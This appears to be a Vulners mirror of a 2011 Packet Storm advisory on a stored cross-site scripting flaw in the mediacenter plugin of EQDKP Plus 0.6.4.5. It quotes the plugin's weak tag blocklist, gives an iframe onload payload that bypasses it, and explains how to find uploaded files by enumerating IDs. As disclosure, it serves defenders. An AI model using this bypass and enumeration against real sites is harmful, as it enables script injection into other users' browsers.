Lucene search
K

EQDKP Plus 0.6.4.5 Cross Site Scripting

🗓️ 18 Jun 2011 00:00:00Reported by iPowerType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 21 Views

EQDKP Plus 0.6.4.5 Cross Site Scripting vulnerability in mediacenter plugi

Code
`Hello!  
  
I have found a vulnerability in the EQDKP Plus.  
More precisely in the plugin mediacenter.  
  
Because of incorrectly checks the file extension  
it is possible to upload the "htm" file and execute  
XSS attack.  
  
But with some restrictions. The plugin checks the contents for tags:  
  
[code=plugins/mediacenter/include/mediacenter.class.php:421]  
function check_content($fieldname){  
  
$disallowed = "body|head|html|img|plaintext|a href|pre|script|table|title|php";  
$disallowed_content = explode('|', $disallowed);  
if (empty($disallowed_content))  
{  
return false;  
}  
[/code]  
  
To get around this, you can use the Next design:  
[code]  
<iframe src="http://yandex.ru" style="display: none" onload="alert('XSS')">  
</iframe>  
[/code]  
  
After downloading the file to the server, you can find the file on request:  
http://site.com/dkp/plugins/mediacenter/index.php?mode=ajax&id = [ID].  
[ID] - simple exhaustive search.  
  
Example:  
http://www.eqdkp-plus.com/demo06/data/d2c0752ce264405a0555a3825c2494f2/mediacenter/thumbs_b/ee5bb2c59c237307d61bcb0bae1e08f2.htm  
  
Vulnerable versions: <=0.6.4.5  
  
P.S.  
Sorry for my bad english. :)  
  
Best Regards,  
iPower.  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation